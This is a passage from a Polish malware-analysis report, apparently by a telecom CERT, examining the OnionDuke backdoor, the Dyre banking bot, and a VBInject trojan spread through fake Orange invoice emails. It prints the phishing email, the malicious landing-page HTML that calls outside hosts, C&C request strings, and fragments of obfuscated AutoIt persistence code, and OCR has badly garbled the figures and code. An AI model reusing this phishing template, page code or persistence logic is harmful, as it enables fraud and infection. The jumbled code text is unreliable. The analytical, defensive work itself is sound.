- B ta na rysunku 33. klase PseudoRandom (rysunek 35). Jest to generator
2 3 3 pseudolosowych liczb i ciagéw znakéw wykorzystujacy
SubNodeList SubNodeList SubNodeList Konfiguracja po przeksztatceniu jej w drzewo przyj- jako swoje ziarno numer seryjny dysku (przechowywany
muje postaé podobna do uproszczonego diagramu za- jako 32-bitowy numer), na ktérym znajduje sie instalacja
Y ) mieszczonego na str. 82 (rysunek 34.). Podobne prze- infekowanego systemu Windows.
Y

Rysunek 34. Schemat przetworzonej konfiguracji podstawowej

ksztatcenia stosowane sa przez parsery skryptow.

Tres$é konfiguracji skiada sie z instrukciji. Instrukcja
moze zawieraé¢ operand, kolejna instrukcje lub blok

W przypadku analizowanej stacji numer seryjny wyno-
sit 0xe85cee60, natomiast nazwa pliku konfiguracyjne-
go - ,,sxsny”.



loc_70324142:

:’ ROV BCX, eax
' and ecx, 3
: L dl, [ecx+ebx+8] General registers
- moy ecx, [ebp+8]
m xor dl, [ecx+eax+i] EAX 00000017 «
ine eax .
. - EBX 00922CD8 % debugdii:aMudp
' -11,
: :;; E_,::’”::: 1= L3 ECXGBEAB0BE’ w debugous : BECHOOES
L2 | jb shm,‘t loc_70324142 EDX 089239E8 % debugB31:68089239E8

ESI POOBO216
loc_7832415B:
mov eax, 13h

EDI[0@9239A0 w» debugB31:pBE9239A0

call near ptr get_cstring EBP 0082F8BL & Stack[DB0BOARD] :DBB2FBBY
Moy ebx, eax o= —| |[ESP OB82F8AL w Stack[DBODBBAAD] - DBBZFEAL
moy eax, 14h EIP 7832414E 4 UserCache .d11:7032414E
call near ptr get_cstring_| [FFL NRANA? R4

UNENOWN 7032414E: UserCache.dll:7032414E

Fl 1

(B3] Hex view-1

[66COO098  ©D FO AD BA AB AB AB AB AB AB AB AB EE FE EE FE .=;!%9ddddde e}
|peceooAs 08 9O 80 00 0P 0@ PO 80 BE B2 D6 46 7F 23 81 1B ........ +1eF 8. .
|ooceneEs. [ 61 DB 58 03 88 3B D2 46 E4 7C C8 14 87 31 8D @:x.é;-ash.gt
|secoooce 13 9a 3D 85 10 D4 7C D8 6A CE 7C 9F 05 8C 34 87  .U=a.+|+j+|m.i4¢
|aBcooops 13 94 2F D2 40 E4 7C C8 48 CE 71 C8 15 9c 30 D2  .U/-@S|+@+q+.£0-
|0BCOOBES 48 86 28 9C 18 D& 73 €7 12 81 31 8A 05 8F 2F 9C @A(E£.+s5!..18../E

|UNENOWN 00C000BE: debug043:00C000B8

a Hex View-3

(=

|@0923980 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE ele!elelelelele!

|06923996 EE FE EE FE EE FE EE FE BF B2 D6 47 37 23 00 1A ele

18

08923900 [ 66 67 3n 20 BA 20 20 74 69 6D 65 73 74 61 6D [cFg:

el+1+G7H. .
--timestam

(06023060 70 3 20 30 OA 20 20 BA 0D FO AD BA 0D FO AD BA pz-0.--1.=;1.=;!
|AB9239CH @D FO AD BA OD FO AD BA B0 FO AD BA OD F@ AD BA .=j].=§}.=j|.-=j|
|PB923908 @D FO AD BA OD FO AD BA BD FO AD BA OD FO AD BA .=ji.=;1.=;]-=|

Rysunek 36. Deszyfrowanie pliku zawierajacego konfiguracje

Usercache.dll:/U32ABLY
UserCache .d11:7832ABCH loc_70B32A8CH:

r UserCache.d11:7832ABCA mov edx, [ebx]
' UserCache.d11:7832A8C2 mov al, [ecx+edx+3]
: UserCache.d11:7832A8C6 =or al, [ebp-1]
' UserCache.d11:70832A8CY inc ecx
- UserCache.d11:7832A8CA movzx ed al
Eﬁ UserCache .d11:76832A8CD B L
: UserCache.d11:7832A8D2 cmp ecx, esi
== UserCache.d11:7032A8D%4 jb short loc_70832A8CA
UserCache.d11:7832A8D6
UserCache.d11:7832A8D6 loc_7B32A8BDG:
UNENOWN 7032A8A1: UserCache.dll:7032A8A1
4 m
(O] Hex view-1
009231E0 AB AB AB AB EE FE EE FE 00 00 80 00 00 00 00
009231F0 FC B2 D6 B4 75 23 08 18 53 00 74 60 61 80 72
00923200 74 80 75 00 70 60 00 00 AB AB AB AB AB AB AB
09923210 ©0 00 00 0O 0D B0 00 PO EC B2 D6 14 74 23 @0

089232280 53 00 6F 00 66 00 74 B0 77 00 61 00 72 00
HH923230 5C 00 4D 00 69 00 63 80 72 00 AD BA 6D FO
00923240 6D FO AD BA OD FO AD BA ©OD FO AD BA 8D FO
00923250 6D FO AD BA OD FO AD BA ©OD FO AD BA 8D FO
00923260 ©D FO AD BA OD FO AD BA ©OD FO AD BA 8D FO
00923270 ©D FO AD BA OD FO AD BA ©OD FB AD BA 6D FO
00923280 ©OD FO AD BA OD FO AD BA ©D FB AD BA 6D FO

Rysunek 37. Deszyfrowanie farncucha znakowego

Za pomoca generatora jest réwniez tworzona nazwa
skrétu wykorzystywanego jako punkt zaczepienia
w folderze startup - ciag ,kb”, po ktérym nastepuje
10 losowych cyfr.

Aktualna konfiguracja bota jest zaszyfrowana przy wy-
korzystaniu prostego algorytmu - sumy xor tekstu jaw-
nego z powtérzonym kluczem szyfrujacym, przy czym
kluczem jest numer seryjny dysku, na ktérym zostat
zainstalowany system operacyjny ofiary.

kancuchy znakowe wykorzystywane przez backdoor
zabezpieczone sg przed ich zrzutem przez oprogra-
mowanie przeznaczone do analizy statycznej. Sa one

General registers

|EAX BOBOOB6F
|EBX 7033D904
|ECX 0000000E
[EDX 8000006F
iESI 0000045
|EDI 80923220
|EBP BO82F838
[ESP DO82F824
|[EIP 7032A8CD
|EFL 90800202

00 MiMele)........
00 nl+.uff..S.t.a.r.
AB  t.u.p...ME00000
160 i 81+ th..
[E S.o.f.t.w.a.r.e.
BA A Hd.c.r.;l.=;)

BA  .=5l.=51-=i1-=i1
BA  .=5l.=51-=41-=i1
BA  .=51.=§1-=1-"i1
BA  .=51.=§1-=i1-"i1

BA  .=31.=51-=i1-"i1

przechowywane wewnatrz prébki w postaci zaszyfro-
wanej i sa odszyfrowywane dopiero przy pierwszym
uzyciu (rysunki 36. i 37.).

Niektére z domen, do ktérych stara sie przylaczyé
OnionDuke, reprezentuja strony WWW rzeczywiscie
istniejacych przedsiebiorstw i serwisow. Przyktado-
we identyfikatory zasobow, ktorymi postuguje sie bot
w celu pobrania rozkazéw z kanatu C&C, wygladaja
nastepujaco:

GET /forum/phpBB3/menu.php?ghdfjk=a7aPhwyuTJ-
dPyQiNG6pFyBy3ScAf+QicW/IQn13yH5RcyQiNBqcSj-
R2mSckfok/IZeMI3Q6kTfIGpxKNH69dygatW6dP40D-

CHLd3xAv5CJ5X+hCZX/ccmVce=

GET /menu.php?hjkujl=a7aPhwyuTJdPyQiNG6pFy-

By3ScAf+QicW/IQn13yH5RcyQiNBqcSjR2mSckfok/
1ZeMI3Q6kTfIGpxKNH69dygatW6dP40DCHLA3xAv-

5CJ5X+hCZX/ccmVce=

GET /menu.php?qgjkcl=a7aPhwyuTJdPyQiNG6pFy-
By3ScAf+QicW/IQn13yH5RcyQiNBqcSjR2mSckfok/
1ZeMI3Q6kTfIGpxKNH69dygatW6dP40DCHLA3xAv-

5CJ5X+hCZX/ccmVce=

Bot odwotuje sie jedynie do zasobu menu.php umiesz-
czonego w giebi struktury katalogow danego serwera
WWW. Te poszlaki pozwalaja zaryzykowaé przypusz-
czenie, ze zasoby, ktore stara sie pobraé bot, zostaty
umieszczone na serwerach w wyniku wiamania. Roz-
wiazanie takie pozwolifoby botmasterom zwiekszy¢
bezpieczenstwo swojej anonimowosci oraz utrudnié
sinkholowanie domen (jesli domena wskazuje na legal-
nie funkcjonujaca ustuge, jej sinkholowanie jest przez
wiele kodeksow i regulamindw rejestratorow domen za-
kazane lub znacznie utrudnione).

Dziatanie instancji bota oparte jest na modutach, co
niesie ze soba wielorakie korzysci. Po pierwsze, dana
instancja bota, raz zidentyfikowana (np. na podstawie
zewnetrznego adresu IP ofiary ujawnionego przy wyko-
naniu zadania do punktu C&C), moze zosta¢ automa-
tycznie skonfigurowana w oparciu o zaszeregowanie
jej do okreslonej klasy ofiar. Przyktadowo, jesli ofiara
pochodzi z systemu autonomicznego instytucji w Niem-
czech, moze zosta¢ jej przedstawiony rozkaz pobrania
i zainstalowania sniffera sieciowego, a w przypadku
ofiary infekcji w systemie w USA - odtaczenia od kanalu
C&C i wykonania samozniszczenia. Inng zaleta takiego
rozwigzania jest ograniczenie ilosci kodu, do ktérego
maja dostep technicy analizujacy incydenty zwiagzane
z infekcjami. Dopasowana instancja nie zawiera wszyst-
kich pluginéw, ktoérymi dysponuja botmasterzy, a tym
samym nie s3 one analizowane przez badaczy ani nie
jest mozliwe utworzenie i wiaczenie do baz antywiruso-
wych ich sygnatur.

Podsumowanie

Backdoor OnionDuke jest rozbudowanym ziosliwym
programem utworzonym w jezyku C++. Funkcje pozy-
skanej do analizy prébki ograniczaja sie do pobrania
rozkazow pozyskania i uruchomienia pluginéw rozsze-
rzajacych jego mozliwosci. W duzym stopniu dopaso-
wuje parametry poszczegodlnych infekcji do konkret-
nego zainfekowanego systemu. Nazwy tworzonych
plikow konfiguracyjnych oraz skrétu wykorzystywane-
go do uruchamiania bota przy starcie systemu, a takze
klucz szyfrujacy pliku konfiguracyjnego sa generowane
w oparciu o numer seryjny dysku ofiary. Z tego powo-
du m.in. utrudnione jest wyznaczenie wskaznikéw 10C
(Indicator of Compromise), jak np. artefakiéw w syste-
mie plikdw, ktérymi mozna by sie postuzy¢ w celu prze-
analizowania innych maszyn pod katem infekciji. Jego
charakterystyczna cecha jest rozbudowany mechanizm
parsowania i wykonywania pliku konfiguracyjnego, kto-
ry bardzo przypomina prosty silnik skryptowy. W pota-
czeniu z modularng konstrukcja niesie on ze soba ol-
brzymi potencjat operacyjny.

13.7. Zatacznik 7. Botnet Dyre

Kampania phishingowa oparta na malware Dyre to przy-
ktad zastosowania techniki ROP (ang. Return-Oriented
Programming). Metoda ta polega na tym, ze z catego
dostepnego ,,dobrego” kodu (np. bibliotek do przetwa-
rzania multimediow, kodowania znakow, obstugi innych
rozszerzonych funkcji programu) wycina sie fragmenty,

ktore taczy sie w ,,zly” kod (np. udzielajacy nieautoryzo-
wanego dostepu do systemu). To tak, jakby projektant
rozwigzywat problem polegajacy na tym, aby ze wszyst-
kich instrukciji, jakie moze znalez¢ (np. przepisy kulinar-
ne, instrukcje obstugi pralki), wycia¢ fragmenty i sklei¢
je w catosé, ktéra bedzie stanowita instrukcje, jak zbu-
dowac bombe.

Obstuga zdarzen w aplikacji graficznej

Wszystkie aplikacje graficzne w systemie Windows
dziataja w podobny sposob. Przycisk, etykieta, format-
ka - wszystkie jej elementy graficzne, tzw. kontrolki, sa
obiektami pewnej zarejestrowanej klasy. Kiedy uzyt-
kownik chce podjac¢ interakcje z taka kontrolka (kliknaé
na nig mysza, przeciagnaé, zmieni¢ rozmiar etc.), do
kontrolki dociera tzw. wiadomos¢ opatrzona przypo-
rzadkowanym do siebie identyfikatorem. Inny identy-
fikator jest uzywany przy wiadomosci zadania zmiany
rozmiaru kontrolki, a inny przy zadaniu jej zamkniecia,
zas kazda z takich wiadomosci jest odpowiednio obstu-
giwana przez specjalna podprocedure obstugi kontrolki.

Jesli programista aplikacji graficznej chce rozszerzyé
funkcjonalnosé wybranej kontrolki (np. by przycisk
zmieniat kolor po kliknigciu prawym przyciskiem my-
szy), tworzy wilasna podprocedure obstugi wiadomosci
kontrolki, a nastepnie rejestruje ja w podsystemie gra-
ficznym. Moze ona zawiera¢ kod, ktéry po otrzymaniu
wiadomosci o okreslonym identyfikatorze zmienia kolor
kontrolki. Od tej chwili wszystkie wiadomosci uzyska-
ne przez system sa wysytane do nowej podprocedury
obstugi, a uzytkownik aplikacji moze korzystac¢ z posze-
rzonej funkcjonalnosci.

Podczas analizy prébki malware’u o nazwie Dyre okaza-
fo sig, iz udaje ona przed antywirusami czy urzadzeniami
IPS aplikacje graficzna, co moze utrudni¢ jej wykrycie
na podstawie analizy rodzaju i kolejnosci wybieranych
przez program wywotan. Dyre korzysta z wielu wywotan
bibliotecznych typowych dla aplikacji okienkowych (np.
Loadlcon oraz LoadCursor z biblioteki user32.dll), two-
rzy tez petle obstugi wiadomosci srodowiska graficzne-
go. Opisywany przez nas bot OnionDuke takze posiadat
w sobie zapisane instrukcje obstugi takiej petli, ale ni-
gdy nie przystepowat do ich wykonania.

Analizowana prébka rejestruje w podsystemie graficz-
nym wiasnag klase kontrolek, korzystajac z wywotania
RegisterClassExA i jako argument podajac adres od-
powiednio przygotowanej struktury WNDCLASSEXA
opisujacej cechy nowej klasy (rysunek 38.). Jednym ze
sktadnikow opisu klasy jest adres podprocedury obstu-
gi otrzymanych przez kontrolki wiadomosci. Po udanej
rejestracji Dyre tworzy kontrolke tej klasy, ktéra w za-
fozeniu powinna zostaé¢ wyswietlona uzytkownikowi
na ekranie, by mogt swiadomie podejmowac z nia in-
terakcje. Jednak zanim to si¢ stanie, jeszcze w trakcie
konstruowania kontrolki system wysyta do niej szereg
wiadomosci (rysunek 39.).

Sprawdzajac odpowiednie informacje w plikach na-
gtéwkowych bibliotek, dopasowujemy zaobserwowane
numery identyfikatoréw do konkretnych nazw:

#define WM_CREATE 0x0001

#define WM_DESTROY 0x0002
#define WM_PAINT 0x000F

#define WM_COMMAND 0x0111
#define WM_PARENTNOTIFY 0x0210

(Na liscie brakuje identyfikatora 0x0369, obstugiwanego
specjalnie na potrzeby analizowanej probki).
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dmnu LEUpPTVAr _Jou.LULLOCALIAd], W

and [ebp+var_38.cbWndExtra], ©

mov eax, [ebp+hInstance]

mov [ebp+var_36.hInstance], eax

push 6Bh ; lpIconName
push [ebp+hInstance] ; hinstance
call ds:LoadIconf

nov [ebp+var_38.hIcon], eax

push 7F86h ; 1lpCursorName
push a ; hInstance
call ds:LoadCursorf

mov [ebp+var_36.hCursor], eax

nov [ebp+var_36.hbrBackground], 6

mov [ebp+var_36.1pszMenuName], 6Dh

mov [ebp+var_368.1pszClassNHame], offset ClassName
push 6Ch ; lpIconName
push [ebp+var_38.hInstance] ; hInstance
call ds:LoadIconf

nov [ebp+var_38.hIconSm], eax

lea eax, [ebp+var_30]

push eax ; WNDCLASSEXA =
call ds:ReqgisterClassExn

Taana

Rysunek 38. Rejestracja nowych klas kontrolek przez bot Dyre

rocess_ WM _CREATE:
dword_45F9AC, ©

4ca Caay | TUpP LUl ICE |

push eax and
push  6Ah push
push hinstance push
call ds:LoadStringhn push
mov eax, [ebp+HMSG] push
mov [ebp+message], eax push
cmp [ebp+message], A push
jz short process WM _CREATE push
cmp [ebp+message], [2 push
jz process_WW _DESTROY push
cnp [ebp+message], BFh push
jz process_WHM_PAINT push
cmp [ebp+message], 111h push
jz process_WH_COMMAND call
cmp [ebp+message], 218h nou
jz process_WHM_PARENTNOTIFY push
cmp [ebp+message], 36%h push
jz process_WH_ 0x8369 push
jmp pass_to_default processing push

nuach

Rysunek 39. Podprocedura obstugi wiadomosci

brocess WM PARENTNOTIFY:

mov eax, [ebp+wParam]
shr eax, 16h

and eax, OFFFFh

movzx eax, ax

cmp eax, 9

jnz short loc_ 42D770
push 5}

push 65h

push 369h

push ebp+hlindParent]

a
hinstance
a

[ebp+hUUndParent]

1Eh

BBER

5

5
LAOBOABB6H

offset WindowName
offset aStatic

ds:CreateWindowExA
dword_45F9A8, eax

a8
hinstance
a

[ebp+hUWndParent]

4CHh

Rysunek 41. Podprocedura obstugi wiadomosci WM_PARENTNOTIFY
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Dyre

DispatchMessageA

L > |

user32.dll

Rysunek 42. Sposéb wykonania ztosliwego kodu

1pParam
hinstance
hHenu
hWndParent
nHeight
nWidth

l‘l

x

duStyle

=) by of
“static"
dwExStyle

1pParam
hinstance
hHenu
hWndParent

nlasahé+

Rysunek 40. Podprocedura obstugi wiadomosci WM_CREATE

Screenshot pokazuje na rysunku 40., jak podprocedu-
ra process WM_CREATE obstuguje wiadomosé¢ WM _
CREATE wysytana do kontrolki po jej utworzeniu.

Tworzony jest szereg nowych kontrolek, m.in. do klas
nstatic”, ,listbox”, ,edit”, ,button”, czyli elementow
czesto wykorzystywanych w aplikacjach graficznych.
Nastepnie do ,rodzica” kontrolki wysytana jest zwrotna
wiadomosé WM_PARENTNOTIFY, ktora, jak juz wspo-
mniano, jest obstugiwana przez utworzona, wyspecja-
lizowana kontrolke. W jaki dokiadnie sposob jest ona
obstugiwana pokazuje rysunek 41.

Ziosliwe operacje

Przy obstudze wiadomosci o nieokreslonym identyfika-
torze 0x0369 rozpoczyna sie proces infekowania sys-
temu ofiary, a analizowana prébka zaczyna pokazywac
swoje prawdziwe oblicze. Z réznych miejsc modutu
do zaalokowanej pamieci sa kopiowane zaszyfrowa-
ne fragmenty kodu, ktory nastepnie jest deszyfrowany
i wykonywany. Odszyfrowany kod przeglada pozosta-
te dziatajace w systemie procesy w poszukiwaniu za-
wierajacego w swojej nazwie cigg znakéw ,svchost.
exe”. Jest to proces, ktéry obstuguje ustugi w systemie
Windows i czesto jest wybierany przez ztosliwe opro-
gramowanie do ukrywania w nim swojego kodu. Po od-
nalezieniu otwiera go i przy wykorzystaniu wywotania
NtMapViewOfSection mapuje do niego sekcje kodu.
Nastepnie wykorzystuje wywotanie NtQueueApcThread
do ustawienia swojego nowo utworzonego kodu w ko-
lejce do wykonania, aby z wnetrza procesu svchost.exe
kontynuowac prowadzenie ztosliwych operaciji.

Nastepnie zainstalowany w systemie bot rozpoczyna
swoje dziatanie (rysunek 42.). Rozmieszcza w pozosta-
tych czesciach systemu odpowiednie moduly oraz tworzy
potoki i mutexy (wyspecjalizowane systemowe obiekty
komunikacyjne), by mogly sie one ze soba komunikowaé
oraz synchronizowac. Dzialanie bota polega gtéwnie na
rejestrowaniu aktywnosci uzytkownika w przegladarkach
(Internet Explorer, Chrome, Firefox), skad moze wykras¢
dane, np. dotyczace systeméw bankowosci internetowej.

W przypadku infekcji botem Dyre to witasnie biblioteki
systemowe, w ramach obstugi podsystemu graficznego

Mozilla Firefox

Windows, wybieraja i wywotuja odpowiednia podpro-
cedure obsfugi kontrolki, a wiec uruchamiajg zfosliwe
funkcje. Dlatego trudniej jest przypisa¢ wykonanie kodu
samej probce.

Twércy bota Dyre stworzyli wyjatkowo perfidne narze-
dzie, ktére cala brudna robote wykonuje, podszywajac
sie pod systemowe biblioteki. To kolejny dowéd na to,
ze podstawowe, automatyczne zabezpieczenia, ktére
w trakcie analizy koncentruja sie jedynie na funkcjach
bibliotecznych wywolywanych przez kod aplikaciji, to
nierzadko zbyt mato, by ustrzec si¢ przed zarazeniem.

13.8. Zatacznik 8. Trojan VBInject

Znaczna liczba polskich internautow - w tym klienci
Orange Polska - w piatek 2 pazdziernika 2015 roku
otrzymata na swoje skrzynki e-mail dziwnie wygladaja-
ce wiadomosci, sugerujace, iz maja do czynienia z za-
legta faktura Orange.

Witamy,

Przypominamy, ze uplynal termin platnosci e-faktury za
uslugi stacjonarne Orange. Zaleglosci z tytulu nieuregulo-
wanych oplat dotycza:

Numer faktury FWL9059917000115
Numer ewidencyjny Klienta 541 290 5991 7053
Kwota do zaplaty 107,15 PLN

Termin platnosci 2015-08-20

Szczegdlowe rozliczenie kwoty do zaplaty faktury jest do-
stepne pod linkiem.

Wygodnie i zawsze w terminie e-fakture mozna oplacic ko-
rzystajac z Polecenia Zaplaty lub Platnosci Elektronicznej.
Jezeli faktura zostala juz oplacona prosimy o uznanie tej
wiadomosci za nieaktualna.

Wiadomosc zostala wygenerowana automatycznie, prosi-
my na nia nie odpowiadac.

Pozdrawiamy
Orange

Pk Edycs Widok Dokument MNarmedsia Ofne  Pomoc

&)

Rysunek 43. Obraz strony imitujacej otwieranie dokumentu Adobe Reader
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FileInstall ("Reliable”, @TempDir s "\xd", 1
Przegladarka WWW Firefox e s _d4(_d5(@ScriptFullPath Zone.Identifier:$§ DATA, 2 ZoneTransfer ECRLF Zoneld = 0
http/fdokum.. . 0f001/15POF x If 1 1
Svp - T8 9 4+ a e = If @S ptDir EAppDataDir Then
3 99999, 1
Plik  Edycja Widck Dokument MNarzgdzia Olmo  Pomoc o g A : Erand : .exe
&- Exit
EndIf

Otwieranie FWI
Rozpoczeto pobieranie pliku

PWLI0S99 170001 15.5¢r

Po zakoficzeniu pobierania:

Otworz 22 pomocs | Przeglada

Zapamietaj be decyzie dla wszystiich plikéw tego typu

Rysunek 44. Obraz strony imitujacej plik do pobrania

<htal xmlns="http://wew.w3d.0org/1999/xhtml™ xml:lang="pl">

tp-equiv="Content-Type" content="text/ntml: charset=utf-8° />

Slibs/ jquery/1.9.1/jquery.min. js"></script>

“html { margin: 8px; padding: Bpx; overflow: hidden; width: 100%; height: 180%; }
body { margin: 8px; padding: Gpx; overflow: hidden; width: 168%; height: 186%; }
#frame{ position: fixed; height: 100%; width: 100%; top:0; z-index:2;}
.iframe_overlay{
position: absolute;
height: 106%;
z-index: 9999;
width: 186%;
}
</styles

<link rel="shortcut icon" href= http: //wrzos.net/pll/index.html/favicon.ico™>

<script>

var Dolt = setInterval{function()

{

var img = new Image();

img.src = 'http://Sv.pl/ajax/no brake.php?id=6396&hash=ab20aeaf23a5fdaalelBecTOcBefb54bihashi=e2eb7927d3101ad23b210ec2TaZabdd’ ;
clearInterval (Dolt);

00) ;

iframe cont™=

me stylem"position:absolute; top:Bpx;: left:Bpx:z-index:1;" src="http://wrzos.net/pll/index. htel" widthe"180%" height="100%" frameborder="0" scrolling="auto” id="frame c"></iframes

style="text-align: center;">
<b>Witamy. System wykryt, Ze twoja przegladarka nie obstuguje ramek.</be<br /=
<a href="http://wrzos. net ex. html"></a></hl>

p>=Darmowe aliasy <a href="http 1

<script>

{function{i,s.0.q.r,a,m){i[ 'GoogleAnalyticsObject' |=r:i[r]=i[r]||function({}{
{i[r].qg=i[r].q||[]).push{arguments)},i[r].1=1*new Date();a=s.createElement(o),
m=5.getElementsByTagName (o) [8];a.asyncs1;a.src=g;m. parentNode. insertBefore(a,m)
1} (window,document, "script’, ' //wew.google-analytics. com/analytics.js', "ga’);

ga('create’, 'UA-18174222-16', 'auto');
gal'send’, ‘pageview');

«script type="text/javascript” src="http://Sv.pl/robot.js"></script></body>
</html>

Rysunek 45. Kod zrédiowy strony wyswietlanej uzytkownikowi

Thad™, -1

Pi‘ileIns:ali "Reliable®, @TempDir
_dl(Chr(58 Chrill4 Chr{l0l Chr (105 Chril02 Chr (105 Chr(llé Chr(l10 Chril0l

Chrid46) = Chr(l01 _dl(Chr(l0l Chr{l20

Rysunek 46. Zdekompilowany kod strony

Chr

100

Chr

Linki w wiadomosciach prowadzity pod adresy:

http://orange.dokumenty.co.vu/wyswietl-fakture/
FWL90599170-001-15.PDF
http://dokumenty.orange-24.pl/view-online/i.
html?wyswietl-fakture=FWL90599170/001/15.PDF

Wieczorem 2 pazdziernika zostata zatozona kolejna do-
mena - http://dokumenty-orange.5v.pl - na ktora zostat
przekierowany ruch z pierwszego z powyzszych adre-
sow. Po kliknigciu w link otwierata sie witryna z animo-
wanym plikiem GIF imitujacym otwieranie w przegla-
darce dokumentu Adobe Reader (rysunek 43.).

Nastepnie uzytkownikowi wyswietlat sie plik do pobra-
nia o nazwie ,,FWL9059917000115.scr” (rysunek 44.).

Pobierany plik byt rozpoznawalny przez 32 na 56 sil-
nikow antywirusowych, co moze dowodzié, ze autorzy
tej kampanii uzyli gotowego skryptu i nie korzystali
z zaawansowanych technik zaciemniania kodu, trikéw
utrudniajacych analize ani protektoréw wykrywajacych
srodowiska wirtualne stuzace do analizy ziosliwego
oprogramowania.

Kod zrédtowy strony, ktéra wyswietlata sie uzytkowni-
kowi przedstawia rysunek 45.

Na stronie umieszczona byta ramka importujaca za-
wartosé z docelowej strony ,http://wrzos.net/pl1/in-
dex.html”, skad pobierany byt kod:

<div id="iframe_cont">
<iframe style="position:absolute; top:0px; left:0px;z-
index:1;"
src="http://wrzos.net/pl1/index.html" width="100%"
height="100%" frameborder="0"
scrolling="auto" id="frame_c"></iframe>
</div>
<noframes>

<div style="text-align: center;">
<b>Witamy. System wykryt, Ze twoja przegladarka nie
obstfuguje ramek.</b><br />

<h1> <a href="http://wrzos.net/pl1/index.html"></a></h1>
<p>Darmowe aliasy <a href="http://5v.pl">5v.pl</a> </
p></div>
</noframes>

Na docelowej stronie znajdowat si¢ prosty skrypt Ja-
vaScript, ktéry rozpoczynat pobieranie tresci ze strony
»whitp://wrzos.net/pli1/index.html”.

Zdebugowanie pliku o nazwie ,,FWL9059917000115.scr”
pozwolito na dalsza analize zlosliwego kodu. Podczas
analizy zostaly przedstawione fragmenty, ktére kluczo-
wo odpowiadaja za infekowanie systemu uzytkownika
oraz jego ztosliwe dziatanie.

Po zdekompilowaniu sekcji kodu widzimy, jak cyber-
przestepcy usitowali utrudni¢ jego dalsze odczytanie
(rysunek 46.).

Rysunek 47. Oczyszczony zdekompilowany kod strony

Po oczyszczeniu kodu wygladat on zdecydowanie bar-
dziej przejrzyscie (rysunek 47).

W pierwszych liniach widagé, iz skrypt tworzyt w loka-
lizacjach @TempDir oraz @AppData uzytkownika sys-
temu dwa pliki: ,xd” oraz plik wykonywalny o losowej
nazwie wygenerowanej przez uzyta funkcje ,Random”.
Lokalizacje plikow w systemie Windows przedstawio-
no na rysunku 48.

Zawartos¢ samorozpakowujacego pliku 34162.exe
byla kopia zawartosci pliku pobieranego ze spamer-
skiej strony. W pierwszej kolejnosci sprawdzat on, czy
plik ,,xd” z docelowym wirusem istnieje juz w systemie
w danej lokalizacji (rysunek 49.). Jesli nie, tworzyt go
ponownie, a nastepnie uruchamiat. Tego typu petla
miala zapewni¢ ciagtos¢ infekcji komputera uzytkow-
nika i uruchamianie docelowego pliku z wirusem przy
kazdym starcie systemu uzytkownika.

Ciekawym pomystem bylto réwniez zastosowanie w ko-
dzie triku z wykorzystaniem ADS (Alternate Data Stre-
ams), jednej ze standardowych witasciwosci systemu
plikéw NTFS, czesto wykorzystywanej przez twércow
ztosliwego oprogramowania do ukrywania danych
w systemach plikéw NTFS.

Fragment kodu dodajacy ADS do generowanego pliku
z wartoscia przedstawiono na rysunku 50.)
»:Zone.ldentifier:$DATA”:

Po pobraniu pliku FWL9059917000115.scr ze ztosliwym
oprogramowaniem za pomoca polecenia ,dir” i prze-
tacznika ,,/r’ mozna zobaczy¢ wartosci ADS dla tego
pliku (rysunek 51.).

Kolejna ztosliwa funkcja bylo dopisanie do rejestru sys-
temu uzytkownika wpisu i podklucza, ktéry miat uru-
chamiaé wirusa lub ponownie wygenerowac¢ docelowy
plik ,xd”.

Zaciemniony kod wirusa dopisujacy wpis do rejestru
widaé na rysunku 52.

Oczyszczony kod przedstawia rysunek 53.

Wirus za pomoca funkcji RegWrite dopisywat do
rejestru w lokalizacji HKCU\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run podklucz o nazwie
sWerFault” oraz lokalizacje pliku wykonywalnego
wraz z jego nazwa wygenerowana dynamicznie przez
funkcje Random.

Efekty infekcji mozna zobaczy¢ na rysunku 54. Wirus
zainfekowat system, dopisujac podklucz do rejestru,
a takze zapisat sciezke do pliku wykonywalnego o na-
zwie ,,34162.exe” w celu uruchamiania go przy kaz-
dym starcie zainfekowanego systemu. Lokalizacja pli-
ku wykonywalnego ,,34162.exe” to w tym przypadku
»C:\Users\lwo Graj\AppData\Roaming”.
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Rysunek 48. Lokalizacja plikow w systemie Windows po infekcji
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pe . _d4(_d5(@ScriptFullPat Zone.Identifier:$ & DATA, 2), [ZoneTramsfer] & RCRLF : Zoneld = 0
If1 1 Then
= - 9 If @Scripthi fAppDataDir Then
¢rand = Random{1000, 99999, 1
Size _f3(@AppDataDir & "\" & ¢rand exe
Exit
EndIf
EndIf
Rysunek 50. Fragment kodu dodajacego ADS
B C:\Windows\system32\cmd.exe =8| EoR ==
108,-83,2815 ©B1:36 AM FUL?8592917800115 .scp all
FUL98599178080115 .scr:Zone.Identifier:SDAT

]
11/12,2014 ©8:80 AM IDA Pro <32-bit)>.l1lnk

= 11/12,2014 ©8:80 AM IDA Pro <64-bit)>.lnk E

KO | 10-82-2015 B82:84 PM Kampania
n?-,17,2815 B3:40 AM kod.txt
n?-,30-2815 ©1:49 AM lalal
10-082-2015 B6:50 AM lalalaa—cukiereekk
10-02-2015 B83:45 PM MNew Text Document <(2).txt
10-82-2015 B84:55 PM MNew Text Document <(3>.txt
10-82-2015 83:37 PM MNew Text Document.txt
n?-,28-,2815 B4:16 AM <DIR> obhfu
n?-,38-2815 ©1:48 AM <DIR> Optymalizacja
18,-82,2815 B2:16 PM <DIR> pocc
18,-83-,2815 ©1:38 AM <DIR> pukpl
18,-82,2815 B5:28 PM <DIR> sSprw
H?-09-2015 B4:86 AM <DIR> SysinternalsSuite
n7-.25-2811 B1:40 PM 388,832 Tcpview.exe
12 File<(s> 1,280,408 bhytes
. 13 Dirdcs> 14,.687.662,.080 bytes free
=)
|£—”—| C:x\UserssIwo GrajsDesktop>_
Lo
o R 7]

o

m

xd

15 items

Rysunek 49. Lokalizacja wygenerowanego przez wirusa pliku w systemie Windows

43 Chr(93
42 Chr(115

Chr (67 Chr (85

Chr(47

Chr (92

Rysunek 51. Wartosci ADS dla wygenerowanego pliku

Chri92 Chr(91

92 Chr(9%4 Chri4l Chr(1l5 Chr (63 Chr (40 Chril24 Chr (%3 Chr(124 Chr (92 ch
Chrilll Chrills Chril0l Chr {109 Chr {97 Chrill4 Chr(70 Chr(92 Chri84 Chr {69
Chr (46 Chr(99 Chr(98 Chrilig Chr(92

Chr (92 Chr(83 Chr (79 Chr (70 Chr (84 Chr (87 Chr (65 Chr (82 Chr (69 C

Rysunek 52. Zaciemniony kod wirusa dopisujacy wpis do rejestru

Rysunek 53. Oczyszczony kod wirusa dopisujacy wpis do rejestru
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¥ Registry Editor
File Edit View Favorites Help
Visual Basic - .Namg Type Data
